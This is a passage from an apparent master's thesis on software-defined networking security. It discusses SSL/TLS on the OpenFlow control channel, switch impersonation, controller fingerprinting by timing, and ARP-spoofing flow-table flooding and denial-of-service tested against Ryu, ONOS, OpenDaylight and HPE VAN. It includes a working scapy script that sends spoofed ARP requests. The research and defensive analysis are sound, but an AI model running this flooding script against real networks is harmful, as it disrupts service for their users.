such as SSL/TLS. In this way, an attacker can not simply impersonate a network device any more. Also with
encryption, while eavesdropping may still be possible, the data an attacker retrieves is still protected and
could not be misused. The current state of the deployment of authentication and encryption methods in
SDN will be investigated in the next chapter.
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Securing the Control-Data Plane

As stated in Section 3.6, one (obvious) security measure to protect communication is to use authentication
and encryption. A well-known example of such a measure is the usage of Secure Sockets Layer and/or its suc-
cessor Transport Layer Security, referred to as SSL/TLS. But, as a known security challenge in an SDN using
OpenFlow, using SSL/TLS is set to an optional feature since OF1.3, which counteracts the general deployment
of such measures in new networks. In this chapter we will investigate the current state deployment of authen-
tication and encryption, using SSL/TLS as a central example. To this extent, we will focus on the following
questions:

• How does SSL/TLS work and what problems does it solve?

• Are there new challenges that arise when providing authentication and encryption and how does this
relate to traditional networking?

• What kind of alternatives to SSL/TLS are there?

• What is the current state deployment of the different methods in current popular controllers?

Naturally, we start with an introduction to SSL/TLS in Section 4.1. In Section 4.2, we elaborate on simple
experiments we performed to gain insight in SSL/TLS deployed in a simple SDN with the Ryu controller. The
core of this investigation is found in Section 4.3, where we will elaborate on the solved problems and new
challenges in SDN where SSL/TLS is deployed. While SSL/TLS is our main example, for the interested reader
different alternatives are also shortly discussed here, such as proposals found in [55–57]. Last, Section 4.4
comes with a retrospect on the current-state deployment of the discussed authentication and encryption
methods as well as an overall discussion.

4.1. Introduction to SSL/TLS
Secure Sockets Layer and its successor Transport Layer Security are two protocols used for a secured commu-
nication channel. Because they are both much alike, they are mostly referred together as SSL/TLS1. Shortly,
the secured channel is created in two steps. We start with the SSL/TLS handshake which provides the authen-
tication step. During this handshake, encryption keys are exchanged. These keys are then used to encrypt en
decrypt the exchanged messages, such that the overall channel is secured.

SSL/TLS is known as a public key system [58], where two keys are used: one for enciphering and one for
deciphering a text. More concretely, SSL/TLS is an asymmetrical cipher system. It relies on both a secret key
and a public key. Namely, the cipher key is made public while the deciphering key is kept secret. In other
words, everyone is permitted to encipher a text, but only a few people can retrieve the original text. The
precise en-/decryption algorithms themselves lie outside the scope of this research - an interested reader can
start with [58] (Chapter 6).

The SSL/TLS handshake is used for both the authentication step as well as the distribution of the en-
cryption keys. For the authentication, we have two possibilities. In one-way authentication, only the ‘server’

1Officially, TLSv1 is the successor of SSLv3. It is not the same, but it is backward compatible.
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Figure 4.1: Overview of the SSL/TLS handshake as presented in [59]. In the SDN context, the controller can be seen as the server and the
connected switches as clients.

needs to identify itself. In such scenarios, clients most of the time identify themselves by entering a password
(when trying to log into the server). In two-way authentication, also the ‘client’ needs to identify itself. In
the context of SDN, the controller serves as the server and the different connected switches are clients. Most
controllers which support TLS, such as Ryu and OpenDaylight, work with two-way authentication.

The overview of the SSL/TLS handshake is given in Fig. 4.1, which is elaborately explained in [59]2. Shortly,
key messages are the certificates and the client key exchange. Every system that wants to correctly identify
itself has a certificate, which is signed by a so-called Certification Authority (CA) which is known to be trusted.
This certificate also holds the public key of the system. In Fig. 4.1, the client verifies the server certificate and
then uses the public key retrieved from the certificate to start the key exchange, which contains encrypted
secret information (a future shared secret key). The server on the other hand, is the only one that can decrypt
this secret information by using its own secret key, after which it can retrieve (or calculate, if needed) the
shared secret key. After the handshake is finished, further exchange of messages is encrypted with the shared
key. In the context of SDN, these future messages are OpenFlow messages.

4.2. Deploying SSL/TLS in a simple SDN
To gain insight into SDN deployed with SSL/TLS, we investigated a simple network which used the Ryu con-
troller using SSL/TLS. For this, we relied on tutorials [60, 61]. For a system with Open vSwitch [42], Mininet
[41] and Ryu [19], it is first explained how to initialize the so-called Public Key Infrastructure (PKI) which is
needed to run SSL/TLS to create, sign and manage the digital signatures. After this, we can generate the secret
key and certificate for the controller(s) and switch(es) using this PKI. As a final step, both the switches and
the controller also need a reference to the CA of the PKI, which is used to verify other certificates.

Experiment description
Setting up both the controller and switches with the private key, certificate and reference to the CA, we can
successfully set up a simple Mininet network with two hosts connected to one switch, which is connected to a
Ryu controller. For clarity, we show the necessary command to run Ryu with the correct parameters in Fig. 4.2.
Eventually, one can check whether the SSL connection was setup successfully by using the ovs-vsctl show

command in Mininet. Our result is shown in Fig. 4.3. The ovs-vsctl library is also used to connect Open
vSwitch to the generated key and certificate, as explained in [60, 61].

Using this simple SDN, we investigated the network traffic using Wireshark on two locations. First, retriev-
ing messages on the switch-controller link (the control channel), one can investigate the SSL/TLS handshake
by decoding the messages not as OpenFlow but as SSL traffic. Investigating this traffic, we could extract that

2A clear video explanation is available at https://www.youtube.com/watch?v=n_d1rCXNrx0 (Accessed: 20-02-2017)

https://www.youtube.com/watch?v=n_d1rCXNrx0


4.2. Deploying SSL/TLS in a simple SDN 25

Figure 4.2: Running the Ryu controller with SSL, one needs to
give the private key, certificate and CA reference as parame-
ters.

Figure 4.3: The ovs-vsctl show command inside Mininet
shows that the switch is successfully connected to the con-
troller over SSL.

the used public key system is RSA used with AES (the Advanced Encyption Standard) - both explained in [58].
Also we see that after the handshake, Wireshark isn’t able to convert the encrypted data into OpenFlow mes-
sages. One can use this as a check that the channel between the controller and switch is secured/protected.

Secondly, we looked into retrieved messages between one of the hosts and the switch. This data can be
generated by initiating a ping between the two hosts. Looking at this data, we see that these packets aren’t
encrypted. This result isn’t unexpected, because we haven’t deployed SSL/TLS on the data plane, but solely
on the control channel.

Discussion
Simply deploying SSL/TLS on the control channel leaves the dataplane itself unprotected, as shown in Fig. 4.4.
This gives opportunities towards attackers. On the other hand, as seen in Section 3.3, for an SDN the most se-
vere attacks are focused on the control channel (and OpenFlow), which is protected in this way. The problem
of an unprotected dataplane could be solved by also setting up SSL/TLS between the hosts and switches.

Although the control channel itself is secured, there are still possibilities for attacks. As an example, using
the generated Open vSwitch private key and certificate it was possible to extend our script to setup an SSL
connection with the controller and then impersonate a switch (switch_impersonator.py, line 75-82 in
Appendix B). It turns out that the (simple) Ryu controller does not check whether a certificate is already used
by another switch, allowing us to impersonate a switch over SSL. In our case, we could directly re-use the
private key and certificate because we had generated it. To retrieve this information in other ways, one could
use the retrievable TLS handshake. Namely, given that in our deployment TLS works with RSA and AES, it is
not impossible to retrieve the private key - it would be if the so-called Diffie-Hellman protocol (explained in
[58]) was used. Another example is that it is possible to prick through the SSL encryption using an enhanced
Wireshark. Following the ‘wiki’-page of Wireshark [62], it is possible to decrypt SSL traffic as soon as Wireshark
is running with GnuTLS and Gcrypt3.

As will also be elaborated on in Section 4.4, the attacks named above are more attacks on SSL/TLS in-
stead of attacks on SDN in general. One should see the deployment of SSL/TLS as a security layer around the
network itself. As soon as we can break this layer, the vulnerabilities discussed in Chapter 3 (such as imper-
sonation possibilities) will arise. Given the scope of this research, we will not (further) investigate attacks on
the SSL/TLS protocol itself.

Figure 4.4: Result of deploying SSL/TLS on the control channel in an out-of-band architecture. Not unexpected, the dataplane itself stays
unsecured/unprotected.

3The OS of our virtual machines didn’t support these packages, such that we couldn’t verify this statement.
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4.3. Securing the Control-Data Plane
The main goal of using SSL/TLS is to protect the network against attacks discussed in Chapter 3, such as
eavesdropping, topology spoofing and impersonation attacks. It turns out that the capabilities of the attacker
are largely determined by two factors: (1) how SSL/TLS is used to protect control-data plane communication
and (2) whether the network has an in-band or out-of-band architecture [53]. Below we will elaborate on
these two factors, look into the problems SSL/TLS solves, but also discuss the challenges which come with it.
After this, we will shortly present some alternatives to secure the control channel.

4.3.1. Consequences of SSL/TLS
SSL/TLS provides protection with the use of authentication and encryption. A network can effectively be pro-
tected against eavesdropping solely because of the encryption - it doesn’t matter whether the communicating
systems are malicious or not, one can not decrypt the information. For this, it doesn’t matter whether SSL/TLS
is used with one- or two-way authentication. However, this does matter for topology spoofing and imperson-
ation attacks. When SSL/TLS is deployed with two-way authentication, the network will be protected against
both these attacks. But, with one-way authentication, an attacker can still create bogus switches, making
topology spoofing completely possible and impersonation to a certain level. Namely, while it is not possible
to impersonate a controller (and influencing a switch’s flow table, for example), impersonated switches can
alter a controller’s view of the network or be used to flood the controller with traffic.

While the out-of-band architecture does protect the control channel by itself as discussed in Section 3.5,
the control channel architecture does also determine to what extent data is protected when SSL/TLS is de-
ployed (only) between the controller and switch. Given the in-band architecture, data also travels over chan-
nels which are used for control messages. Theoretically, the data which travels over these channels is pro-
tected, reducing the locations in the network where for example eavesdropping is possible. In the out-of-
band architecture, all data is unprotected, as was seen in Section 4.2 and Fig. 4.4.

There are also new challenges that arise when deploying SSL/TLS. First, while not in the scope of this
research, vulnerabilities in and attacks at the protocol itself should not be forgotten. Second, the added traffic
due to the TLS handshake will influence the performance of the network. Third and most important, it does
increase the complexity of the network. This has mostly to do with key management. Although this is not an
unknown problem (it also arises in traditional networks), it can scale up to a large problem when we have a lot
of switches, or even multiple controllers. Since OpenFlow in principle uses two-way authentication, network
administrators must create device-specific certificates, sign all of them and finally distribute the certificates to
the devices [53]. This tedious management may tempt these administrators to skip some parts of the process
or let them decide using one-way authentication or no TLS at all.

When it is decided not to use SSL/TLS at all, sometimes the network type can provide some protection. In
secured networks (such as data centers) the lack of TLS is feasible. Namely, access to the network components
is difficult, making it harder to take them over physically or remotely. In campus-style or office networks
where devices are directly accessible, not using SSL/TLS can become a serious security vulnerability [55].

4.3.2. Alternatives to SSL/TLS
While SSL/TLS is the recommended option for the control channel security stated by the OpenFlow spec-
ification, a couple alternatives are proposed in [55–57]. We will shortly discuss these studies in context of
related work, to create a complete view on control channel security for the (interested) reader. We note that
all proposed protocols lack a critical analysis, but providing this lies outside the scope of this research.

As first alternatives, [55] proposes Secure Shell (SSH) and IPSec, both known Internet security systems which
can be adapted to suit SDN. Both protocols create a communication tunnel (where data is encrypted) and
differ from TLS in terms of the setup procedure. The most important reason for these alternatives was to
address configuration problems for network operators which arise with TLS. For these protocols, the admin-
istrator doesn’t have to build all the infrastructure to support it, which is the case for the PKI with SSL/TLS.
Although these two protocols are only discussed briefly and deployment of the protocols is stated as future
work in [55], in their analysis it is already shown that both IPSec and SSH also have their vulnerabilities.

[56] contains the detailed proposal for Identity-Based Cryptography (IBC). The focus of this alternative is
the simplification of the setup process and a solution for multidomain SDN and a wireless data plane. We did
not investigate how IBC implements a solution for the latter, but solely focused on the setup process, because
there it directly competes with SSL/TLS. Similar to TLS, IBC requires a trusted authority, here to act as a
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Private Key Generator (PKG). But, in TLS the CA (certified authority) is used to generate the public and private
key pairs, whereas the PKG of IBC generates only the private keys and the public keys will be derived from the
identity of the user (here, the switch). With SDN, controllers can act as PKGs for the switches that are located
within their domains. This reduces the needed storage and management of the public keys. The key exchange
process knows a speed up and network scalability is improved because with IBC two communicating parties
do not need to obtain each other’s public key from the CA to derive the session key.

Last, [57] proposes the Off-the-Record (OTR) protocol. Shortly, this protocol is used to protect the network
‘instant-session’ communications and does so by using forward encryption and hidden identity (or deniable)
authentication. Forward encryption is that messages are only encrypted with temporary per-message keys, in
this case AES keys negotiated using the Diffie-Hellman key exchange (see [58]). Important is that compromise
of any long-lived keys does not compromise any previous conversations. Concretely in SDN, one sees that
every short communication between switch and controller is encrypted with a different key. Deniable au-
thentication is that messages don’t have digital signatures such that after a conversation is complete, anyone
is able to forge a message to appear to have come from one of the participants in the conversation, assuring
that it is impossible to prove that a specific message came from a specific component. But, within a conver-
sation itself, the recipient can be sure that a message is coming from the component they have identified; the
exchange of identity documents is implemented inside the channel, which effectively prevents it from being
intercepted by a third party. Given these principles, challenges regarding the security and management of
long-term key storage, certificate exchange and the requirement of a PKI, are solved.

4.4. Conclusions
In this chapter, we introduced SSL/TLS as a solution for the security of the control-data plane and investigated
which problems this solves and what new challenges arise. Using simple experiments and analysis, we can
conclude that SSL/TLS, given that it uses two-way authentication as advised in most controllers, protects the
control channel against all attacks discussed in Chapter 3. However, we see that attacks on the data plane are
still possible. Thus, for a completely secure network, administrators need also to invest in data plane security.

After our experiments, we stated that there are still possibilities for attackers to penetrate the SDN, given
that the SSL/TLS protocol itself is first successfully attacked. Again, while SSL/TLS provides protection, one
should not forget that the protocol is merely a security layer over the control channel. SSL/TLS does not solve
(or fix) the vulnerabilities with OpenFlow itself. Naturally, vulnerabilities towards a network will arise as soon
as SSL/TLS is not configured securely. Fortunately, companies specialized in IT security - such as Fox IT -
invest in research into how to securely configure the protocol4.

The biggest challenge which hinders the general deployment of SSL/TLS in current SDNs is the key man-
agement which can grow tedious, especially when two-way authentication is used (which we actually want)
and we also want to protect the data plane. The alternatives discussed in Section 4.3.2 all focus on simplifying
the setup process and thereby the key management process. However, these alternatives are not (yet) found
in existing controllers, thus the expectation is that SSL/TLS will remain the default solution by OpenFlow.

In conversation with HP Enterprise regarding the HPE VAN controller [32], we gained some insight in the cur-
rent state deployment of security in SDN. For the HPE VAN case, the company sees that in larger networks
the management of the switches is done with use of the out-of-band architecture, having the control channel
completely seperated from the operational network. For the authentication, HPE VAN uses Keystone, while
for the encryption SSL is used. In practice, not a lot of networks use the PKI but rely on self-signed certificates.
The usage of TLS is supported, but gives extra overhead, while the combination of the out-of-band architec-
ture, SSL and Keystone is regarded as sufficient secure, also by HP itself. Still, we need to note that the usage
of self-signed certificates instead of a PKI is a possible security risk. In our discussion with HP, no details were
shared on the protection of the operational network.

Because controllers like Ryu, OpenDaylight and ONOS are open source controllers, it was not straight-
forward to get current state deployment insights for these controllers. However, using our experiments we
can conclude that here mostly the direct use of TLS (and thus the required PKI) is advertised and supported.
To invest in the general deployment of control channel protection, one could investigate whether deploying
only (simple) SSL could be sufficient to secure the channel (such as is done with HPE VAN). This could be
a separate research, were one also needs to dig deeper into the particular vulnerabilities of the SSL protocol
itself. For us, this lies outside the scope of this research.

4Confirmation that indeed Fox IT does this, is given by an employee.





5
The Villainous Host

The last step of our layered approach to investigate SDN security focuses on the host. From Section 2.2 fol-
lowed the concrete question: ‘In what ways can a regular host damage an SDN?’ To answer this question, we
investigated whether different kind of attacks can be performed towards an SDN without directly leveraging
the OpenFlow protocol, such as:

• The so-called fingerprinting attack, where timing analysis is used to identify OpenFlow networks or
even particular SDN controllers.

• An attack leveraging the Address Resolution Protocol (ARP) and the possibility to use this protocol to
perform table flooding and denial-of-service (DoS) attacks.

• Other ‘traditional’ attacks, such as the packet-in-packet attack or misuse of IGMP (Internet Group Man-
agement Protocol) messages.

The implementation and results of the different attacks are discussed in Section 5.1, Section 5.2 and Sec-
tion 5.4, following the order above. We will also shortly discuss several defence mechanisms in Section 5.3.
This chapter ends with a retrospect in Section 5.5. But first, we elaborate on the used threat model.

Threat model
In this chapter, we take the position of a villainous host. This host is connected to an OpenFlow supporting
switch part of an SDN. The host does not posses a connection to the controller and is not able to leverage the
OpenFlow protocol. For clarification, the setups used in our experiments (both in the simulated and physical
environment) are displayed in Fig. 5.1 and Fig. 5.2.

Figure 5.1: Setup for our attacks in the simulated environ-
ment, including the IP addresses of the hosts. Open vSwitch
and the hosts are created by and accessible via Mininet.

Figure 5.2: Setup for our attacks in the physical network us-
ing the Zodiac FX switch, including the IP-addresses of all en-
tities. The white ports are configured to expect traffic part of
an OpenFlow network.
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5.1. SDN Fingerprinting
In fingerprinting attacks, timing analysis is done to identify an SDN in general or particular SDN controllers.
The feasibility study of [37] states that when an SDN functions reactively and installs flow rules in response
to received packets from switches, this results in additional delay. In other words, one can encounter two
different response times: (1) the response time when a flow is already present in de flow table, T1, and (2)
the response time when there is the additional flow setup time, T2. Seeing such different response times in a
network could hint towards the existence of an SDN.

A challenge for attackers is to collect enough data for ‘common’ values for T1 and T2 and to surely distin-
guish the two response times given random noises. As a response to [37], [63] presents a real-world evalu-
ation. They relied on the packet-pair dispersion1, which turns out to be a stable feature over time and little
affected by the size of the network. They found that indeed the delay introduced by flow rule installation
provides an effective distinguisher for an attacker to identify whether packets are only processed on the data
plane or triggers an interaction with the controller, which is said to be relatively slow. The controller of their
testbed was Floodlight (v0.9).

The study of [64] focuses the timing analysis on the idle_timeout and hard_timeout values given to in-
stalled flows, which are then leveraged to calculate control plane processing-times to identify different SDN
controllers. Their approach can successfully identify the controllers OpenDaylight, Floodlight, POX, Ryu and
Beacon. This is done by only using ICMP (ping) traffic, which would mean that such an attack can be per-
formed by every ‘simple’ host.

In the next sections, we elaborate on our investigation towards the feasibility of timing analysis given the
standard implementation of our used controllers: Ryu, ONOS, OpenDaylight and HPE VAN. To do this, we
performed a simplified version of the timing analysis studies explained above. In short, we (1) retrieved the
response time of a first ping between two hosts connected via one switch, given that no flows exist to correctly
forward this traffic and (2) checked what the default values of idle_timeout and hard_timeout are of the
flows which are added because of this initiated ping traffic. We will discuss our results for the experiments
run with in the simulated and physical network we worked with.

5.1.1. Timing analysis using Open vSwitch
The results of our experiments in the simulated network are shown in Table 5.1. The table shows two things:
(1) Response times which include flow installation time and (2) default timeout values.

Focusing on the ping response times, we see that already in this simplified case we can distinguish the
different controllers. It is also clear that these values are significantly larger than the response times of the
following pings, which in this case lie around 0.05 ms for all controllers. ONOS gives us by far the largest
response time. The response time of the HPE VAN controller is the smallest, but in this case there is no flow
installed. Namely, all traffic reaches a flow with action=output:NORMAL, which means that the packets are
processed using the normal (traditional switch) pipeline. Here, the response time only contains additional
delay due to ARP (Address Resolution Protocol) traffic.

We need to note that all registered response times in Table 5.1 are the response times of a first communi-
cation (ping) between two hosts and thus also contains the exchange of ARP messages, naturally influencing
the reponse time. But, given that the response time for HPE VAN is without flow rule installation but with
ARP exchange, we can conclude that the flow rule installation creates a larger (distinguishable) delay.

1The term dispersion is commonly defined as the time interval between the first bit of the first packet and the first bit of the second
packet of the pair.

Controller Response time first ping (ms) idle_timeout (s) hard_timeout (s)

Ryu 5.998 0 0
ONOS 12.287 0 0
OpenDaylight 0.372 1800 3600
HPE VAN 0.238 n/a n/a

Table 5.1: Timing analysis results for the four used controllers in their standard implementation where the switch is Open vSwitch
(averaged over 10 performed attacks). For the timeout values, 0 means that the values are not set in the flow rule and the flow entry will
never be removed (we did this to be consequent with [64]). For the HPE VAN case, no flows are installed, thus the timeout values are not
applicable. This also explains the relative quick first ping response time.
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We also tried to figure out whether we could identify the controllers by their default timeout values, where
HPE isn’t applicable because no flows are installed. We see that only OpenDaylight set the timeout val-
ues, which means that we can not identify all controllers. [64] presents the default timeout values for the
five controllers they worked with. Comparing their values with our observations, we see that in their case
there are also controllers with the same default timeout values - for example Floodlight and Beacon with
idle_timeout = 5 and hard_timeout = 0. Besides this, they found the same values for the Ryu controller,
but different values for OpenDaylight (namely 0). The latter can be explained by stating that [64] worked with
the ‘Hydrogen’ version of OpenDaylight, while we worked with ‘Helium’, a newer version.

Lastly, we want to mention that while ONOS does not define the timeout values, we see that installed
flows are deleted rather quickly. This is accomplished by an active statement from the controller to delete the
flow entries (a DELETE_STRICT message).

5.1.2. Timing analysis in the Zodiac FX network
The results of our experiments in the physical network with the Zodiac FX switch are shown in Table 5.2.
Because the timeout values only depend on the used controller, here we only focus on the flow installation
times. We also excluded HPE VAN, because it doesn’t install flows.

As expected, the overall performance of the controllers is the same as in the simulated network. But
during the experiments we also learned more about the controllers. Namely, because the Zodiac switch is a
slower device than the virtual switch (Open vSwitch), there are also differences in the response time when
there is no flow installed (i.e. when there is a flow match). This difference can be explained by the fact that all
three controller install different kind of flows (different match_fields [45]), influencing the time needed to
perform flow matching. Concretely, OpenDaylight installs flows where the switch needs to match on source
and destination MAC address, with Ryu we match on source port and destination MAC address and ONOS
wants matches on all three. Using Table 5.2, we conclude that matching on three properties is more costly
than on two, and that matching on source port is probably more costly than on (source) MAC address.

As in Table 5.1, the registered response time in Table 5.2 contains the exchange of ARP messages. In this
experimental setup, we wanted to find out whether it was also possible to record response times including
flow installation but excluding the ARP exchange. During this investigation, we found out that the exchange
of ARP messages plays a vital role in the installation of the flows. Namely, while excluding ARP traffic by sav-
ing exchanged information at the hosts, we saw that OpenDaylight doesn’t install flows and communication
between two hosts fails. It turns out that the installation of flows is triggered by ARP traffic and not ICMP
traffic (which actually follows naturally when following the traditional way of networking).

5.1.3. Timing analysis challenges
Given our experiments and the findings of primarily [63, 64], we can state that timing analysis can be used to
identify SDN in general and to a certain extent specific SDN controllers. However, there are some challenges
for this approach. The biggest challenge is that one needs to collect enough (and correct) data to create a
complete view of the behavior which identifies particular controllers. For this, [63, 64] made a good start,
but question is how long this data stays ‘valid’ or correct. As an example, while the experiments in [64] are
performed in 2016, we find different values for the OpenDaylight controller a year later. This suggests that
processing-times depend on different versions of controllers or on the used hardware. Besides this, networks
could rely on customized controllers - as an example, network administrators can easily edit the default time-
out values a controller assigns to flows. This all could mean that the collected data is not usable.

One can also argue that focusing on processing-times and timeout values isn’t enough to identify con-
trollers. As seen in the experiments, the default timeout values are similar for different controllers. While
this limits the search space, we still need to apply more techniques to decide which one it is. This is cited in

Controller Response time when installing flow (ms) Other response time (ms)

Ryu 9.04 1.05
ONOS 12.9 1.35
OpenDaylight 1.60 0.873

Table 5.2: Timing analysis results for used controllers in their standard implementation using the Zodiac FX switch (averaged over 10
performed attacks). We did not include HPE VAN because this controller doesn’t install flows. We also include the response time when
no flow is installed, because they clearly differ per used controller. The averaged values for ONOS could be influenced, because while
working with this controller and the Zodiac FX switch we encountered difficulties (see Appendix C).
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[64], but there is not elaborated on which techniques. In the future, it could turn out that particular network
functions (applications) have a large influence on the performance of different controllers, which could sug-
gest that focusing on this could identify them. The techniques discussed here solely focusing on data-control
plane.

When we let go of the desire to identify SDN controllers and focus solely on identifying SDN in general,
the challenges named above are less applicable. In all cases, the processing-time is clearly larger than in
a traditional network. This will be enough information for an attacker to change his(/her) attack plan and
assume (s)he is dealing with an SDN. Besides this, an attacker can still perform ‘traditional’ attacks to bring
down an SDN, as will be clear from the next sections.

5.2. Misusing ARP for Table Flooding and Denial-of-Service
Two known attack possibilities to networks in general are table flooding and accomplishing denial-of-service
(DoS). DoS is a classic type of attack where one tries to accomplish the complete lack of reaction of a service
by flooding the service with requests. In the context of SDN, table flooding is focused on filling the flow table
with different flow rules up to the moment the table is full. Goal is to influence and eventual completely bring
down performance. Naturally, table flooding can be used to accomplish a DoS attack.

Denial-of-service was already mentioned as a known security challenge in SDN in Chapter 2. Now, we
focus on effectively accomplishing this attack. In [65], this is done via two ways: (1) attacking the switch’s flow
table and (2) attacking the control plane bandwidth. When the switch’s flow table is full and consequently
cannot install new rules, it sends an ERROR message to the controller with the error code TABLE_FULL and
drops the packets. Shortly, as soon (and as long) as the switch’s flow table is full, it cannot forward packets for
which it doesn’t find a match.

To attack the control plane, one needs to send traffic in such a way that a lot of PACKET_INs are generated
towards the controller. In this case, packet loss can occur in two ways [65]. First, given the switch’s limited
output queue size, packets are lost as soon as this queue is full. Second, congestion may introduce latency
in the control channel which can result in the switch receiving responses from the controller too late, at a
moment that the buffered packet is already discarded. The impact of the attack is mostly local to the switch.
However, it could also be the case that the switch succeeds in overwhelming the controller in general.

In [65], the attacks are performed on a network connected to the NOX controller. [66] presents the DDoS vul-
nerability in Floodlight. Next, we investigate the feasibility of both table flooding and DoS for our investigated
controllers. In Section 2.1 it is stated that, corresponding with threat vector one, forged traffic provides an
open door for (D)DoS attacks. Therefore, we approached our attack using forged traffic, in our cased spoofed
ARP (Address Resolution Protocol) messages. As explained in the next subsection, the properties and used
values in ARP messages were precisely what was needed for our attacks.

5.2.1. Table flooding
As explained before, the table flooding attack corresponds with the attempt to add as much as possible flow
rules to the switch’s flow table with the goal to completely fill the table. A flow rule is different from another
as soon as it is different on a single match_field. Following the OpenFlow specification [4], there are 39
different match_fields. This suggests a lot of possibilities for an attacker to create different flows. However,
it turns out that the standard implementations of our investigated controllers only use a couple of these
fields. As already shortly mentioned in Section 5.1.2, Ryu only uses the source port (in_port) and destination
MAC address (eth_dst) for matching. For added flows, OpenDaylight uses both destination and source MAC
address (eth_src).

To create new flows, it is needed to alternate these fields, which is possible with use of (spoofed) ARP mes-
sages. Shortly, the Address Resolution Protocol is used by hosts to translate IP addresses to MAC addresses.
An ARP request can be seen the question: "Does anyone know who IPd st is? Please tell I Psr c located on
MACsr c ." after which the ARP response states "IPd st is at location MACd st !" At this moment, the source host
can couple an IP address to a MAC address. At the same time, the destination host has also identified a (new)
MAC address. In a spoofed ARP message, one is able to send ARP requests with any (random) value for the
source IP and/or MAC address, which results in the receiver believing that this these addresses actually exist.
In a successful attack, this results in the switch adding the appropriate flow rule(s) to support traffic from and
towards a fake MAC address.
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Attack implementation
Our attack is performed with the script displayed in Listing 5.1. In just a couple of steps we are able to create
both a random IP and MAC address and use these in a custom ARP message, constructed with scapy [67].
More information on scapy can be found in Appendix C.2. In the last line of the code, there can be seen that
we introduce a timing gap between two send ARP messages, to influence the rate we attack the network.

1 from scapy . a l l import *
2 import random, time , argparse
3

4 # OMITTED − Code to process command−l i n e arguments
5

6 """ Returns a random IP adress in range : (1−254) .(0−254) .(0−254) .(0−254) """
7 def randomIP ( ) :
8 return ( s t r (random . randint (1 ,254) ) + " . " +
9 " . " . join ( s t r (random . randint (0 ,254) ) for _ in range ( 3 ) ) )

10

11 """ Returns a random MAC adress """
12 def randomMAC( ) :
13 return " : " . join ( gen_hex ( 2 ) for _ in range ( 6 ) )
14

15 """ Helper function , which creates a hexidecimal number of a given ’ length ’ """
16 def gen_hex ( length ) :
17 return ’ ’ . join (random . choice ( ’ 0123456789ABCDEF ’ ) for _ in range ( length ) )
18

19 # Attack !
20 i f arguments . ip ! = None and arguments . s i z e != None :
21 for x in range ( 0 , arguments . s i z e ) :
22 rand_ip = randomIP ( )
23 rand_mac = randomMAC( )
24 i f ( rand_ip != arguments . ip ) :
25 sendp ( Ether ( src=rand_mac ) /ARP(op="who−has" , hwsrc=rand_mac , psrc=rand_ip , pdst=arguments . ip ) ,
26 i f a c e =arguments . i f a c e )
27

28 # A gap between ARP messages (and thus PACKET_IN messages )
29 # makes sure the c o n t r o l l e r doesn ’ t experience denial−of−service
30 time . sleep ( arguments . gap )

Listing 5.1: Core of the Python script for the performed attack using spoofed ARP messages. Some parts are omitted for readability.
The complete code is delivered with this master thesis.

Achieving table flooding
For our first experiments, we used our simulated setup as depicted in Fig. 5.1 and focused on the behaviour
of the controllers to predict the feasibility of our table flooding attack. For this, we looked at what happens
inside the switch, because that is dictated by the controller. We see that OpenDaylight performs completely
according to the expectation and installs two new flow rules per spoofed ARP message to support traffic in
two ways between the attacked host MAC address and the spoofed MAC address. ONOS behaves similarly,
installing two flows per spoofed ARP message, but table flooding attack is impossible for this controller be-
cause it rather quickly sends a DELETE_STRICT message to the switch to remove the installed flows, such
that the flow table never really gets filled. Due to the implementation of Ryu, it fluctuated when new flows
were installed, because as information at the controller grows, not every new ARP message seems to trigger a
FLOW_MOD. Lastly, in the case of HPE VAN there are no rules installed at all because all traffic reaches the flow
with action:output:NORMAL.

Table flooding is thus most feasible in a network with the OpenDaylight controller. A next important factor
that influences the success of the attack is the used switch. In the simulated version, using Open vSwitch, we
were able to flood but not completely fill the flow table and influence the network performance. Even with
more than 5000 flows installed, the performance of ping (ICMP) traffic isn’t significantly slower. Following
the specification of Open VSwitch, it turns out that it can support over a million flow rules, which isn’t easy to
flood.

[65] names two switches with a limited capacity which thus could be more easily flood-able. The HP
5406z1 switch can store (only) 1500 flow rules, and the CpQD OpenFlow 1.3 Software Switch can store up to a
maximum of 4096 flow rules. From our experiments with Zodiac FX switch (setup shown in Fig. 5.2), it turns
out that this switch can only store 300 flows. In this setup, we have seen in Wireshark that indeed the switch
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Number of installed flows Ping response time (ms)

5 (initial state) 1.153
67 (after 30 spoofed ARP messages) 1.267
300 (after 150 spoofed ARP messages) 1.876

Table 5.3: Ping response time values for a network with a Zodiac FX switch connected to OpenDaylight. The values are averages for 100
pings, given that needed flows for communication are already installed.

sends an ERROR message and drops traffic as soon as the table is full. We also see that, when the table is
partially full, this influences network performance. We show this with the response time results in Table 5.3.
As expected: The more flows the switch needs to match on, the larger the response time.

5.2.2. Denial-of-service
While from our observations it follows that not in all cases we can achieve table flooding, we see that the ARP
traffic always causes traffic towards the controller. As an example, the ONOS, OpenDaylight and HPE VAN
controllers use ARP traffic to create a network view which is displayed in their GUI. We could thus easily use
the ARP traffic to try to flood the controller with PACKET_INs. Therefore, it was possible to also use the code
of Listing 5.1 to try achieving denial-of-service.

Because in case of the Zodiac FX switch, the switch is relatively quickly flooded (we only need 150 spoofed
ARP messages), we only investigated this attack in the simulated environment. Given our setup (Fig. 5.1), the
attacker always sends the spoofed ARP messages towards H2. We then looked into the performance of the
network from the point of view of the other hosts. Eventually, we investigated (1) performance of the GUI, (2)
performance when a flow doesn’t exist and (3) performance when a flow does exist.

The network topology GUI applications from both ONOS, OpenDaylight and HPE VAN struggle with display-
ing a network with over a 1000 hosts. As an example, Fig. 5.3 shows the GUI of HPE VAN after an attack.
Given the three controllers, the GUI of OpenDaylight performs the worst and eventually crashes first. While
crashing the GUI isn’t an important result, we can directly conclude that using spoofed ARP messages is a
successful way to perform topology spoofing. Further research could investigate whether this influences the
decision making of the controller (or network administrators which configure the controller).

In our script, we can define the waited time between each send ARP message. By default this gap is 0.5 ms,
in which case all the controllers can handle the traffic and the other hosts do not experience additional delays
in their communication. By minimizing this gap, we see that network performance gets influenced. Namely,
PACKET_IN messages are processed at the controller in a first in first out matter. Thus, when there is not yet a
flow between two hosts, this flow is only installed after all other packets are processed at the controller. Using
this fact, we see that at a moment that an large attack is performed, we can achieve denial-of-service between
other hosts. This result is given in Fig. 5.4. Here, we see that we experience dropped packets and a huge delay
for the packet which does arrive.

We also see that network performance is influenced when flows do exist. Namely, the switch still needs to
try to match all arriving ARP messages in the flow table, delaying the moment that a flow match for real traffic
is performed. Using OpenDaylight, we see that ping (ICMP) traffic experiences a delay around 0.2 ms, while
without the attack it was 0.05 ms. This reduced network performance is temporary.

We could not achieve denial-of-service when the HPE VAN controller is used. This is not unexpected,
because in its standard implementation, ARP traffic is solely forwarded towards the controller for the GUI
